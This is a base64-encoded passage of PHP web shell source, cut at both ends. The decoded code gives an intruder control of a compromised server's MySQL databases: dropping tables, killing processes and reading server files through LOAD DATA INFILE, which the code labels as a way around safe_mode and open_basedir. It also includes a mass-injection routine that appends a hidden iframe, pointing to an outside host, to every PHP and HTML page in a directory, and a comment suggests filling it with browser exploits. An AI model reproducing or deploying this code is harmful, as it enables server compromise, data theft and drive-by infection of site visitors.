kaSA9IDA7DQogICAgICAgZm9yZWFjaCAoJHJvdyBhcyAkaz0+JHYpIHskbmFtZSA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7ICR3IC49ICIgYCIuJG5hbWUuImAgPSAnIi5hZGRzbGFzaGVzKCR2KS4iJyBBTkQiOyAkaSsrO30NCiAgICAgICBpZiAoY291bnQoJHJvdykgPiAwKSB7JHcgPSBzdWJzdHIoJHcsMCxzdHJsZW4oJHcpLTMpO30NCiAgICAgICBlY2hvICI8dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3hyb3dbXVwiIHZhbHVlPVwiIi4kdy4iXCI+PC90ZD4iOw0KICAgICAgICRpID0gMDsNCiAgICAgICBmb3JlYWNoICgkcm93IGFzICRrPT4kdikNCiAgICAgICB7DQogICAgICAgICR2ID0gaHRtbHNwZWNpYWxjaGFycygkdik7DQogICAgICAgIGlmICgkdiA9PSAiIikgeyR2ID0gIjxmb250IGNvbG9yPVwiZ3JlZW5cIj5OVUxMPC9mb250PiI7fQ0KICAgICAgICBlY2hvICI8dGQ+Ii4kdi4iPC90ZD4iOw0KICAgICAgICAkaSsrOw0KICAgICAgIH0NCiAgICAgICBlY2hvICI8dGQ+IjsNCiAgICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF94PXF1ZXJ5JnNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3F1ZXJ5PSIudXJsZW5jb2RlKCJERUxFVEUgRlJPTSBgIi4kc3FsX3RibC4iYCBXSEVSRSIuJHcuIiBMSU1JVCAxOyIpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1zcWxfYnV0dG9uX2Ryb3BcIiBhbHQ9XCJEZWxldGVcIiBoZWlnaHQ9XCIxM1wiIHdpZHRoPVwiMTFcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyI7DQogICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsX3g9aW5zZXJ0JnNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3RibF9pbnNlcnRfcT0iLnVybGVuY29kZSgkdykuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWNoYW5nZVwiIGFsdD1cIkVkaXRcIiBoZWlnaHQ9XCIxNFwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyI7DQogICAgICAgZWNobyAiPC90ZD4iOw0KICAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgIH0NCiAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICAgZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxwIGFsaWduPVwibGVmdFwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWFycm93X2x0clwiIGJvcmRlcj1cIjBcIj48c2VsZWN0IG5hbWU9XCJzcWxfeFwiPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cImRlbGV0ZXJvd1wiPkRlbGV0ZTwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT48L3A+IjsNCiAgICAgfQ0KICAgIH0NCiAgICBlbHNlIHsNCiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFIFNUQVRVUyIsICRzcWxfc29jayk7DQogICAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgICAgZWxzZQ0KICAgICB7DQogICAgICBlY2hvICI8YnI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdjb2xvcj0jMDAwMDAwIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94dGJsX2FsbFwiIHZhbHVlPVwiMVwiPjwvdGQ+PHRkPjxjZW50ZXI+PGI+VGFibGU8L2I+PC9jZW50ZXI+PC90ZD48dGQ+PGI+Um93czwvYj48L3RkPjx0ZD48Yj5UeXBlPC9iPjwvdGQ+PHRkPjxiPkNyZWF0ZWQ8L2I+PC90ZD48dGQ+PGI+TW9kaWZpZWQ8L2I+PC90ZD48dGQ+PGI+U2l6ZTwvYj48L3RkPjx0ZD48Yj5BY3Rpb248L2I+PC90ZD48L3RyPiI7DQogICAgICAkaSA9IDA7DQogICAgICAkdHNpemUgPSAkdHJvd3MgPSAwOw0KICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpDQogICAgICB7DQogICAgICAgJHRzaXplICs9ICRyb3dbIkRhdGFfbGVuZ3RoIl07DQogICAgICAgJHRyb3dzICs9ICRyb3dbIlJvd3MiXTsNCiAgICAgICAkc2l6ZSA9IHZpZXdfc2l6ZSgkcm93WyJEYXRhX2xlbmd0aCJdKTsNCiAgICAgICBlY2hvICI8dHI+IjsNCiAgICAgICBlY2hvICI8dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3h0YmxbXVwiIHZhbHVlPVwiIi4kcm93WyJOYW1lIl0uIlwiPjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRyb3dbIk5hbWUiXSkuIlwiPjxiPiIuJHJvd1siTmFtZSJdLiI8L2I+PC9hPiZuYnNwOzwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJSb3dzIl0uIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJUeXBlIl0uIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJDcmVhdGVfdGltZSJdLiI8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiIuJHJvd1siVXBkYXRlX3RpbWUiXS4iPC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4iLiRzaXplLiI8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3g9cXVlcnkmc3FsX3F1ZXJ5PSIudXJsZW5jb2RlKCJERUxFVEUgRlJPTSBgIi4kcm93WyJOYW1lIl0uImAiKS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c3FsX2J1dHRvbl9lbXB0eVwiIGFsdD1cIkVtcHR5XCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsmbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF94PXF1ZXJ5JnNxbF9xdWVyeT0iLnVybGVuY29kZSgiRFJPUCBUQUJMRSBgIi4kcm93WyJOYW1lIl0uImAiKS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c3FsX2J1dHRvbl9kcm9wXCIgYWx0PVwiRHJvcFwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsX3g9aW5zZXJ0JnNxbF90Ymw9Ii4kcm93WyJOYW1lIl0uIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNxbF9idXR0b25faW5zZXJ0XCIgYWx0PVwiSW5zZXJ0XCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8L3RkPiI7DQogICAgICAgZWNobyAiPC90cj4iOw0KICAgICAgICRpKys7DQogICAgICB9DQogICAgICBlY2hvICI8dHIgYmdjb2xvcj1cIjAwMDAwMFwiPiI7DQogICAgICBlY2hvICI8dGQ+PGNlbnRlcj48Yj4rPC9iPjwvY2VudGVyPjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD48Y2VudGVyPjxiPiIuJGkuIiB0YWJsZShzKTwvYj48L2NlbnRlcj48L3RkPiI7DQogICAgICBlY2hvICI8dGQ+PGI+Ii4kdHJvd3MuIjwvYj48L3RkPiI7DQogICAgICBlY2hvICI8dGQ+Ii4kcm93WzFdLiI8L3RkPiI7DQogICAgICBlY2hvICI8dGQ+Ii4kcm93WzEwXS4iPC90ZD4iOw0KICAgICAgZWNobyAiPHRkPiIuJHJvd1sxMV0uIjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD48Yj4iLnZpZXdfc2l6ZSgkdHNpemUpLiI8L2I+PC90ZD4iOw0KICAgICAgZWNobyAiPHRkPjwvdGQ+IjsNCiAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgIGVjaG8gIjwvdGFibGU+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cInJpZ2h0XCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9YXJyb3dfbHRyXCIgYm9yZGVyPVwiMFwiPjxzZWxlY3QgbmFtZT1cInNxbF94XCI+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5XaXRoIHNlbGVjdGVkOjwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZHJvcFwiPkRyb3A8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGVtcHR5XCI+RW1wdHk8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGR1bXBcIj5EdW1wPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxjaGVja1wiPkNoZWNrIHRhYmxlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxvcHRpbWl6ZVwiPk9wdGltaXplIHRhYmxlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxyZXBhaXJcIj5SZXBhaXIgdGFibGU8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGFuYWx5emVcIj5BbmFseXplIHRhYmxlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJDb25maXJtXCI+PC9mb3JtPjwvcD4iOw0KICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgIH0NCiAgICB9DQogICB9DQogICB9DQogIH0NCiAgZWxzZSB7DQogICAkYWN0cyA9IGFycmF5KCIiLCJuZXdkYiIsInNlcnZlcnN0YXR1cyIsInNlcnZlcnZhcnMiLCJwcm9jZXNzZXMiLCJnZXRmaWxlIik7DQogICBpZiAoaW5fYXJyYXkoJHNxbF94LCRhY3RzKSkgez8+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkNyZWF0ZSBuZXcgREI6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IngiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF94IiB2YWx1ZT0ibmV3ZGIiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9uZXdkYiIgc2l6ZT0iMjAiPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDcmVhdGUiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPlZpZXcgRmlsZTo8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3giIHZhbHVlPSJnZXRmaWxlIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfZ2V0ZmlsZSIgc2l6ZT0iMzAiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nZXRmaWxlKTsgPz4iPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHZXQiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48L3RhYmxlPjw/cGhwIH0NCiAgIGlmICghZW1wdHkoJHNxbF94KSkgew0KICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgICBpZiAoJHNxbF94ID09ICJuZXdkYiIpIHsNCiAgICAgZWNobyAiPGI+IjsNCiAgICAgaWYgKChteXNxbF9jcmVhdGVfZGIgKCRzcWxfbmV3ZGIpKSBhbmQgKCFlbXB0eSgkc3FsX25ld2RiKSkpIHtlY2hvICJEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIgaGFzIGJlZW4gY3JlYXRlZCB3aXRoIHN1Y2Nlc3MhPC9iPjxicj4iO30NCiAgICAgZWxzZSB7ZWNobyAiQ2FuJ3QgY3JlYXRlIERCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIi48YnI+UmVhc29uOjwvYj4gIi5teXNxbF9zbWFydGVycm9yKCk7fQ0KICAgIH0NCiAgICBpZiAoJHNxbF94ID09ICJzZXJ2ZXJzdGF0dXMiKSB7DQogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBTVEFUVVMiLCAkc3FsX3NvY2spOw0KICAgICBlY2hvICI8Y2VudGVyPjxiPlNlcnZlci1zdGF0dXMgdmFyaWFibGVzOjwvYj48YnI+PGJyPiI7DQogICAgIGVjaG8gIjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgYmdjb2xvcj0jMDAwMDAwIGJvcmRlckNvbG9yTGlnaHQ9IzMzMzMzMyBib3JkZXI9MT48dGQ+PGI+TmFtZTwvYj48L3RkPjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+IjsNCiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7ZWNobyAiPHRyPjx0ZD4iLiRyb3dbMF0uIjwvdGQ+PHRkPiIuJHJvd1sxXS4iPC90ZD48L3RyPiI7fQ0KICAgICBlY2hvICI8L3RhYmxlPjwvY2VudGVyPiI7DQogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgIH0NCiAgICBpZiAoJHNxbF94ID09ICJzZXJ2ZXJ2YXJzIikgew0KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgVkFSSUFCTEVTIiwgJHNxbF9zb2NrKTsNCiAgICAgZWNobyAiPGNlbnRlcj48Yj5TZXJ2ZXIgdmFyaWFibGVzOjwvYj48YnI+PGJyPiI7DQogICAgIGVjaG8gIjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgYmdjb2xvcj0jMDAwMDAwIGJvcmRlckNvbG9yTGlnaHQ9IzMzMzMzMyBib3JkZXI9MT48dGQ+PGI+TmFtZTwvYj48L3RkPjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+IjsNCiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7ZWNobyAiPHRyPjx0ZD4iLiRyb3dbMF0uIjwvdGQ+PHRkPiIuJHJvd1sxXS4iPC90ZD48L3RyPiI7fQ0KICAgICBlY2hvICI8L3RhYmxlPiI7DQogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgIH0NCiAgICBpZiAoJHNxbF94ID09ICJwcm9jZXNzZXMiKSB7DQogICAgIGlmICghZW1wdHkoJGtpbGwpKSB7DQogICAgICAgJHF1ZXJ5ID0gIktJTEwgIi4ka2lsbC4iOyI7DQogICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwgJHNxbF9zb2NrKTsNCiAgICAgICBlY2hvICI8Yj5Qcm9jZXNzICMiLiRraWxsLiIgd2FzIGtpbGxlZC48L2I+IjsNCiAgICAgfQ0KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgUFJPQ0VTU0xJU1QiLCAkc3FsX3NvY2spOw0KICAgICBlY2hvICI8Y2VudGVyPjxiPlByb2Nlc3Nlczo8L2I+PGJyPjxicj4iOw0KICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0yIGJvcmRlckNvbG9yTGlnaHQ9IzMzMzMzMyBib3JkZXI9MT48dGQ+PGI+SUQ8L2I+PC90ZD48dGQ+PGI+VVNFUjwvYj48L3RkPjx0ZD48Yj5IT1NUPC9iPjwvdGQ+PHRkPjxiPkRCPC9iPjwvdGQ+PHRkPjxiPkNPTU1BTkQ8L2I+PC90ZD48dGQ+PGI+VElNRTwvYj48L3RkPjx0ZD48Yj5TVEFURTwvYj48L3RkPjx0ZD48Yj5JTkZPPC9iPjwvdGQ+PHRkPjxiPkFjdGlvbjwvYj48L3RkPjwvdHI+IjsNCiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7IGVjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PHRkPiIuJHJvd1syXS4iPC90ZD48dGQ+Ii4kcm93WzNdLiI8L3RkPjx0ZD4iLiRyb3dbNF0uIjwvdGQ+PHRkPiIuJHJvd1s1XS4iPC90ZD48dGQ+Ii4kcm93WzZdLiI8L3RkPjx0ZD4iLiRyb3dbN10uIjwvdGQ+PHRkPjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3g9cHJvY2Vzc2VzJmtpbGw9Ii4kcm93WzBdLiJcIj48dT5LaWxsPC91PjwvYT48L3RkPjwvdHI+Ijt9DQogICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgfQ0KICAgIGlmICgkc3FsX3ggPT0gImdldGZpbGUiKQ0KICAgIHsNCiAgICAgJHRtcGRiID0gJHNxbF9sb2dpbi4iX3RtcGRiIjsNCiAgICAgJHNlbGVjdCA9IG15c3FsX3NlbGVjdF9kYigkdG1wZGIpOw0KICAgICBpZiAoISRzZWxlY3QpIHtteXNxbF9jcmVhdGVfZGIoJHRtcGRiKTsgJHNlbGVjdCA9IG15c3FsX3NlbGVjdF9kYigkdG1wZGIpOyAkY3JlYXRlZCA9ICEhJHNlbGVjdDt9DQogICAgIGlmICgkc2VsZWN0KQ0KICAgICB7DQogICAgICAkY3JlYXRlZCA9IEZBTFNFOw0KICAgICAgbXlzcWxfcXVlcnkoIkNSRUFURSBUQUJMRSBgdG1wX2ZpbGVgICggYFZpZXdpbmcgdGhlIGZpbGUgaW4gc2FmZV9tb2RlK29wZW5fYmFzZWRpcmAgTE9OR0JMT0IgTk9UIE5VTEwgKTsiKTsNCiAgICAgIG15c3FsX3F1ZXJ5KCJMT0FEIERBVEEgSU5GSUxFIFwiIi5hZGRzbGFzaGVzKCRzcWxfZ2V0ZmlsZSkuIlwiIElOVE8gVEFCTEUgdG1wX2ZpbGUiKTsNCiAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0bXBfZmlsZTsiKTsNCiAgICAgIGlmICghJHJlc3VsdCkge2VjaG8gIjxiPkVycm9yIGluIHJlYWRpbmcgZmlsZSAocGVybWlzaW9uIGRlbmllZCkhPC9iPiI7fQ0KICAgICAgZWxzZQ0KICAgICAgew0KICAgICAgIGZvciAoJGk9MDskaTxteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOyRpKyspIHskbmFtZSA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7fQ0KICAgICAgICRmID0gIiI7DQogICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIHskZiAuPSBqb2luICgiXHJcbiIsJHJvdyk7fQ0KICAgICAgIGlmIChlbXB0eSgkZikpIHtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiIGRvZXMgbm90IGV4aXN0cyBvciBlbXB0eSE8L2I+PGJyPiI7fQ0KICAgICAgIGVsc2Uge2VjaG8gIjxiPkZpbGUgXCIiLiRzcWxfZ2V0ZmlsZS4iXCI6PC9iPjxicj4iLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJGYpKS4iPGJyPiI7fQ0KICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICAgIG15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIHRtcF9maWxlOyIpOw0KICAgICAgfQ0KICAgICB9DQogICAgIG15c3FsX2Ryb3BfZGIoJHRtcGRiKTsgDQogICAgfQ0KICAgfQ0KICB9DQp9DQplY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOw0KaWYgKCRzcWxfc29jaykgew0KICAkYWZmZWN0ZWQgPSBAbXlzcWxfYWZmZWN0ZWRfcm93cygkc3FsX3NvY2spOw0KICBpZiAoKCFpc19udW1lcmljKCRhZmZlY3RlZCkpIG9yICgkYWZmZWN0ZWQgPCAwKSl7JGFmZmVjdGVkID0gMDt9DQogIGVjaG8gIjx0cj48dGQ+PGNlbnRlcj48Yj5BZmZlY3RlZCByb3dzIDogIi4kYWZmZWN0ZWQuIjwvY2VudGVyPjwvdGQ+PC90cj4iOw0KfQ0KZWNobyAiPC90YWJsZT4iOw0KfQ0KDQppZiAoJHggPT0gJ21hc3Nicm93c2Vyc3Bsb2l0Jykgew0KPz4NCjxiPk1hc3MgQ29kZSBJbmplY3Rpb246PC9iPjxicj48YnI+DQpVc2UgdGhpcyB0byBhZGQgSFRNTCB0byB0aGUgZW5kIG9mIGV2ZXJ5IC5waHAsIC5odG0sIGFuZCAuaHRtbCBwYWdlIGluIHRoZSBkaXJlY3Rvcnkgc3BlY2lmaWVkLjxicj48YnI+DQo8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+IiBtZXRob2Q9R0VUPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Im1hc3NzcGxvaXQiIHZhbHVlPSJnb2FoZWFkIj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJhY3QiIHZhbHVlPSJtYXNzYnJvd3NlcnNwbG9pdCI+DQo8dGFibGUgYm9yZGVyPTA+DQo8dHI+PHRkPkRpciB0byBpbmplY3Q6IDwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT01MCBuYW1lPSJwYXRodG9tYXNzIiB2YWx1ZT0iPD9waHAgZWNobyByZWFscGF0aCgnLicpOyA/PiI+IDwtLSBkZWZhdWx0IGlzIGRpciB0aGlzIHNoZWxsIGlzIGluPC90ZD48L3RyPg0KPHRyPjx0ZD5Db2RlIHRvIGluamVjdDogPC90ZD48dGQ+PHRleHRhcmVhIG5hbWU9ImluamVjdHRoaXMiIGNvbHM9NTAgcm93cz00Pjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygnPElGUkFNRSBzcmM9Imh0dHA6Ly93d3cuZngwLm5hbWUiIHdpZHRoPTAgaGVpZ2h0PTAgZnJhbWVib3JkZXI9MD48L0lGUkFNRT4nKTsgPz48L3RleHRhcmVhPiA8LS0gYmVzdCBiZXQgd291bGQgYmUgdG8gaW5jbHVkZSBhbiBpbnZpc2libGUgaWZyYW1lIG9mIGJyb3dzZXIgZXhwbG9pdHM8L3RkPjwvdHI+DQo8dHI+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iSW5qZWN0IENvZGUiPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQo8P3BocA0KaWYgKCRfR0VUWydtYXNzc3Bsb2l0J10gPT0gJ2dvYWhlYWQnKSB7DQoJaWYgKGlzX2RpcigkX0dFVFsncGF0aHRvbWFzcyddKSkgew0KCQkkbG9saW5qZWN0ID0gJF9HRVRbJ2luamVjdHRoaXMnXTsNCgkJZm9yZWFjaCAoZ2xvYigkX0dFVFsncGF0aHRvbWFzcyddLiIvKi5waHAiKSBhcyAkaW5qZWN0ajAwKSB7DQoJCQkkZnA9Zm9wZW4oJGluamVjdGowMCwiYSsiKTsNCgkJCWlmIChmcHV0cygkZnAsJGxvbGluamVjdCkpew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPWdyZWVuPicuJGluamVjdGowMC4nIHdhcyBpbmplY3RlZDxicj48L2ZvbnQ+JzsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAnPGZvbnQgY29sb3I9cmVkPmZhaWxlZCB0byBpbmplY3QgJy4kaW5qZWN0ajAwLic8L2ZvbnQ+JzsNCgkJCX0NCgkJfQ0KCQlmb3JlYWNoIChnbG9iKCRfR0VUWydwYXRodG9tYXNzJ10uIi8qLmh0bSIpIGFzICRpbmplY3RqMDApIHsNCgkJCSRmcD1mb3BlbigkaW5qZWN0ajAwLCJhKyIpOw0KCQkJaWYgKGZwdXRzKCRmcCwkbG9saW5qZWN0KSl7DQoJCQkJZWNobyAkaW5qZWN0ajAwLicgd2FzIGluamVjdGVkPGJyPic7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPXJlZD5mYWlsZWQgdG8gaW5qZWN0ICcuJGluamVjdGowMC4nPC9mb250Pic7DQoJCQl9DQoJCX0NCgkJZm9yZWFjaCAoZ2xvYigkX0dFVFsncGF0aHRvbWFzcyddLiIvKi5od